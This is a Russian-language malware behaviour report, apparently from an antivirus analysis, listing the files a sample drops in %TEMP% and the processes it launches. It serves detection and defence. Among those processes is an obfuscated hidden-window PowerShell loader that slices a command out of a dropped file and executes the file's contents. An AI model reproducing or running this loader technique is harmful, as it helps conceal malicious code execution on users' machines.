Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\cistern.kon
- %TEMP%\dihedron254.his
- %TEMP%\lidelseshistorie55.chi
- %TEMP%\smaadreng.sol
- %TEMP%\udtagelserne\airfield.bal
- %TEMP%\udtagelserne\blaanendes.riv
- %TEMP%\udtagelserne\darkliest.irr
- %TEMP%\udtagelserne\eligible.txt
- %TEMP%\udtagelserne\fabriksejers.fri
- %TEMP%\udtagelserne\gunmen.kon
- %TEMP%\udtagelserne\produkthandleren.for
- %TEMP%\dispositionsnummereringer.exe
Другое
Создает и запускает на исполнение
- '%TEMP%\dispositionsnummereringer.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle hidden "$Arbejdsdisciplin=Get-Content '%TEMP%\Dihedron254.his';$Fakta=$Arbejdsdisciplin.SubString(52801,3);.$Fakta($Arbejdsdisciplin)"
- '%WINDIR%\syswow64\cmd.exe' "/c set /A 1^^0"
